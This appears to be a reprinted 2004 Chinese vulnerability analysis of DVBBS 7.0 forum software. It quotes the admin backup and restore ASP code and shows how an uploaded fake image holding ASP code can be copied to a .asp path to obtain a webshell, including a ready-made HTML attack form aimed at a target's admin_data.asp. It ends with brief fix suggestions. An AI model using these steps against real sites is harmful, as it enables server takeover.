设为首页  
联系我们  
加入收藏  
网页制作 冲浪宝典 图形图像 操作系统 软件教学 编程开发 认证考试 安全技术 站长专区 文学驿站 娱乐天地 游戏天地 办公软件
文章搜索
您的位置: 首页 >> 文章首页 >> 编程开发 >> 网络编程 >> .net >> 动网论坛7.0获得WebShell的分析
精品推荐
.net点击TOP10
·CHK文件恢复工具
·.NET 初 级 读 本
·『原创』C#中TreeView类操作全攻略:建立树,新增节点,删除节点,修改节点,拖动节点,与Oracle数据库交互操作(一)
·我的.NET书架 (入门篇)
·从零开始学ASP.NET(基础篇)
·官方水晶报表 .NET 应用程序实例下载 (C#、Visual C++.NET)
·给 OpenPOP.Net 加一个小功能,可用于收取邮件时监测数据流量!
·.NET:是什么?将走向哪里?
·P2P之UDP穿透NAT的原理与C#实现
·动网论坛灌水机
网络编程点击TOP10
·ASP.NET 程序中常用的三十三种代码
·CHK文件恢复工具
·.NET 初 级 读 本
·c#操作word表格
·『原创』C#中TreeView类操作全攻略:建立树,新增节点,删除节点,修改节点,拖动节点,与Oracle数据库交互操作(一)
·我的.NET书架 (入门篇)
·十天学会ASP.net之第一天
·从零开始学ASP.NET(基础篇)
·用C#实现木马程序
·官方水晶报表 .NET 应用程序实例下载 (C#、Visual C++.NET)
精选专题

动网论坛7.0获得WebShell的分析

作者: 来源:网络文章 时间:2005-12-13 19:07:43

本文作者:angel
文章性质:原创
发布日期:2004-06-27 
发现:Super·Hei 
分析:angel 
环境/讨论:xiaolu 
起哄:knife 

前言 

Super·Hei和我提起《Backup a shell》这篇文章,就和我说,按照这个文章的方法,有没有办法拿到动网论坛上利用,因为DVBBS7.0即使设置允许上传ASP文件,实际上也是无法上传的,既然能够去后台设置允许上传文件类型,那何不利用这个方法去备份一个WebShell,我们发帖子写入特制的WebShell的代码,然后备份一下,不就有WebShell了吗?那能不能用到Access数据库里?实验证明这个是不可行的,但是Super·Hei又告诉我另外一个方法,由于他要考试,所以由我来分析并写出来,我转行PHP很久了,所以这次分析DVBBS可能有不足的地方,还请各位高手赐教。 

注意:如何进入后台,不是本文讨论范围,局限就在这,靠大家自己发挥了。 

ACCESS版的分析 

首先我们看看admin_data.asp文件的updata()函数: 

sub 
程序代码:Javascript:CopyText(document.all.CODE_7643);">[ 复制代码到剪贴板 ]

updata() 
Dbpath=request.form("Dbpath") 
Dbpath=server.mappath(Dbpath) 
bkfolder=request.form("bkfolder") 
bkdbname=request.form("bkdbname") 
Set Fso=server.createobject("scripting.filesystemobject") 
if fso.fileexists(dbpath) then 
If CheckDir(bkfolder) = True Then 
fso.copyfile dbpath,bkfolder& "\"& bkdbname 
else 
MakeNewsDir bkfolder 
fso.copyfile dbpath,bkfolder& "\"& bkdbname 
end if 
response.write "备份数据库成功,您备份的数据库路径为" &bkfolder& "\"& bkdbname 
Else 
response.write "找不到您所需要备份的文件。" 
End if 
end sub 


 


上面的代码就是执行备份操作的函数,已经很易懂了,只要Dbpath存在,就直接把数据库复制到指定目录,可能开发者以为入侵者无法进入后台(万一骗来或监听到的呢),所以并不对这个地方进行检查,没有检查是否为真正的数据库,所以我们就可以利用这里复制我们上传的“图片”。 

ACCESS版的利用 


我们在发帖那上传一个写有asp代码的假图片,然后记住其上传路径,比如UploadFile/2004-6/20046272411024.jpg,然后进入后台的“备份数据库”那,按照下面的格式填写: 

当前数据库路径(相对路径):UploadFile/2004-6/20046272411024.jpg 
备份数据库目录(相对路径):随便找个目录 
备份数据库名称(填写名称):改为webshell.asp 

然后提交就可以得到WebShell了。 



 


SQL版的分析 

还是备份数据的地方,你别看这里教你如何用SQL企业管理器来操作,其实可利用的正在里面,不要被表面的现象蒙蔽了,我们看看admin_data.asp文件的以下代码: 

程序代码:[ 复制代码到剪贴板 ]
case "RestoreData" '恢复数据 
admin_flag=",32," 
dim backpath 
if not Dvbbs.master or instr(","&session("flag")&",",admin_flag)=0 then 
Errmsg=ErrMsg + "<BR><li>本页面为管理员专用,请<a href=admin_index.asp target=_top>登录</a>后进入。<br><li>您没有管理本页面的权限。" 
dvbbs_error() 
else 
if request("act")="Restore" then 
Dbpath=request.form("Dbpath") 
backpath=request.form("backpath") 
if dbpath="" then 
response.write "请输入您要恢复成的数据库全名" 
else 
Dbpath=server.mappath(Dbpath) 
end if 
backpath=server.mappath(backpath) 

Set Fso=server.createobject("scripting.filesystemobject") 
if fso.fileexists(dbpath) then 
fso.copyfile Dbpath,Backpath 
response.write "成功恢复数据!" 
else 
response.write "备份目录下并无您的备份文件!" 
end if 
else 

call RestoreData() 
end if 
end if 

 


在后台没有用到这些代码,可以看出我们完全可以用像ACCESS的方法来利用,只是要从本地提交参数,因为Dbpath、backpath那两个变量是用request.form取值。照样没有检查文件类型,这个文件的很多代码在SQL版里都是多余!由此产生安全隐患。这个漏洞的原理和ACCESS版的一样,也就不多分析了。 

SQL版的利用 

还是在发帖那上传一个写有asp代码的假图片,然后记住其上传路径,比如UploadFile/2004-6/20046272411024.jpg,写一个本地提交的表单,代码如下: 


程序代码:[ 复制代码到剪贴板 ]
<form action="http:// [target_url]/admin_data.asp?action=RestoreData&act=Restore" method="post"> 
<p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p> 
<p>要复制到的位置:<input name="backpath" type="text" size="80"></p> 
<p><input type="submit" value="提交"></p> 
</form> 

 


然后就把UploadFile/2004-6/20046272411024.jpg填在“已上传文件的位置”那里,想要在哪里搞个WebShell就把完整的相对路径填写在“要复制到的位置”那里,比如:images/angel.asp提交就得到我们可爱的WebShell了, 

解决方案 

由于我放开ASP转向PHP很久了,所以不能提供很好的解决方案,只能给出个思路,由于利用局限比较大,所以大家如果不会修补,可以等官方的补丁出来。 

针对ACCESS版的,可以对要备份的文件进行格式检查或内容检查,看是否为ASCII文件,再执行操作。 
针对SQL版的,可以把那些毫无作用的代码去掉,只留个说明好了。 

后记 

感谢Super·Hei提出他ACCESS版的思路,我才得以分析,感谢xiaolu提供两个版本的论坛供我分析测试,并参与SQL版的讨论,本文版权由Bugkidz和Security Angel两个安全组织共同所有。转载请注明!

动网论坛7.0获得WebShell的分析 相关文章:
动网论坛7.0获得WebShell的分析 相关软件:
特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
转载请注明来源:http://www.xgdown.com